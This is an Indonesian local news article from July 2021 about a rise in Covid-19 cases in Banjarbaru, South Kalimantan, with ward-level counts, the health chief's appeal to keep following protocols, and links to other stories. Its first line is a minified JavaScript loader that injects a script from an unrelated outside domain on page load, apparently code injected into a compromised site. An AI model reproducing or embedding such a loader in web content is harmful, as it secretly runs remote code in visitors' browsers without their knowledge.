(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN, BANJARBARU – Lonjakan jumlah kasus positif Covid-19 kembali terjadi, Kota Banjarbaru menjadi penyumbang terbanyak tambahan kasus positif Covid-19 di Kalimantan Selatan (Kalsel).
Dikatakan Kepala Dinas Kesehatan (Kadinkes) Kota Banjarbaru, Rizana Mirza tercatat pada Minggu (4/7/2021) lalu, Satgas Percepatan Penanganan dan Penanggulangan Covid-19 Kalsel mengumumkan sebanyak 208 tambahan kasus aktif Covid-19 di Kalsel. Kota Banjarbaru termasuk menjadi penyumbang terbanyak tambahan kasus positif Covid-19 dengan berjumlah 53 orang, disusul Kota Banjarmasin sebanyak 52 orang.
Melihat lonjakan tersebut, Rizana Mirza,
kembali mengimbau masyarakat untuk tetap menjaga kepatuhan protokol kasehatan (Prokes), sekalipun masyarakat yang sudah suntik vaksin.
Baca juga: WOUW. Pria Asal Banjarmasin Tusuk Kakak Ipar Berkali-kali, yang Terjadi Malah Sajam Bengkok!
“Kita mengingatkan kembali kepada masyarakat untuk jangan lengah tetap menerapkan protokol kesehatan 3M, meski sudah divaksinasi, kalau tidak ada keperluan yang mendesak lebih baik di rumah saja,” tutur Rizana Mirza, Rabu (7/7/2021).
Meskipun sempat mengalami lonjakan yang signifikan penambahan jumlah kasus terkonfirmasi positif Covid-19 di Kota Banjarbaru, Rizana Mirza, mengatakan saat ini sudah mengalami penurunan.
“Kota Banjarbaru juga sempat mencatat lonjakan Senin (5/7/2021) kemarin, ada 14 orang terkonfirmasi positif Covid-19, dan hari ini sudah menurun kembali, mudahan saja tidak kembali adanya lonjakan dan tetap patuhi prokes,” terangnya.
Mengenai kebijakan pengetatan yang diberlakukan Presiden Joko Widodo tentang Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Darurat, Rizana Mirza, sendiri berharap untuk Kota Banjarbaru tidak terjadi seperti kota-kota di Jawa dan Bali.
Baca juga: GEGER. Anak Sapi Terjatuh dari Truk di Jalan Trikora Banjarbaru, Punya Siapa?
“Tentunya penerapan PPKM Darurat pasti ada arahan Presiden dan Ketua Satgas Covid yang disesuaikan dengan keadaannya, untuk di daerah kita berharap tidak seperti situasi disana, kita tetap mengingatkan kemasyarakat agar waspada dan sama samalah kita bersama menjaga kepatuhan prokes,” ujarnya.
Sementara, Update Kasus Covid 19 di Kota Banjarbaru per Rabu (7/7/2021), jumlah terkonfirmasi positif Covid-19 sebanyak 6 Kasus.
Enam kasus berasal dari kelurahan Loktabat Utara sebanyak satu kasus. Lalu Sungai Ulin (1), Landasan Ulin Timur (1), Guntung Manggis (2), Landasan Ulin Utara (1).
Sedangkan penambahan pasien sebanyak 22 kasus. Berasal dari Loktabat Utara (1), Loktabat Selatan (2), Sungai Besar (8), Syamsudin Noor (4), Guntung Manggis (5), Landasan Ulin Utara (2).
(kanalkalimantan.com/shintia)
Reporter : shintia
Editor : bie
KANALKALIMANTAN.COM, BANJARMASIN - Memastikan keamanan umat kristiani melaksanakan ibadat Natal 2024, kepolisian melakukan strelisasi gereja-gereja… Read More
KANALKALIMANTAN.COM, BANJARBARU - Absen pada sidang perdana di Pengadilan Negeri (PN) Banjarbaru, pihak tergugat Komisi… Read More
KANALKALIMANTAN.COM - Setelah sukses menggebrak dengan promo spektakuler di HUT BRI ke-129, kini BRI kembali… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pemerintah Kabupaten Banjar menyerahkan bantuan alat dan mesin pertanian, di Mahligai Sultan… Read More
Tiga Mobil Pribadi dan Satu Motor Kena Imbas, Sopir Akui Rem Tak Normal Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru memenuhi panggilan gugatan di Pengadilan Tata… Read More
This website uses cookies.